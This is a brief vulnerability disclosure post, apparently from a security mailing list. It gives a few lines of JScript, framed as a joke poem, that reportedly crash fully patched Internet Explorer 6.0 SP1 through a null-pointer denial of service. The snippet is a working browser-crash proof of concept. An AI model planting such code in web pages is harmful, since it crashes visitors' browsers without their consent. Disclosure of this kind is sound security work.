I just wrote a small poem in JScript:

<SCRIPT language=3D"javascript">

MSIE =3D window.open; // for hackers to come in
for (every_bug_found in MSIE) { /* there are zillions more hiden */ }

</SCRIPT>

Ok, so it doen't rhyme... but it is another null-pointer exception DoS =
in MSIE 6.0sp1 (fully patched)

Cheers,
SkyLined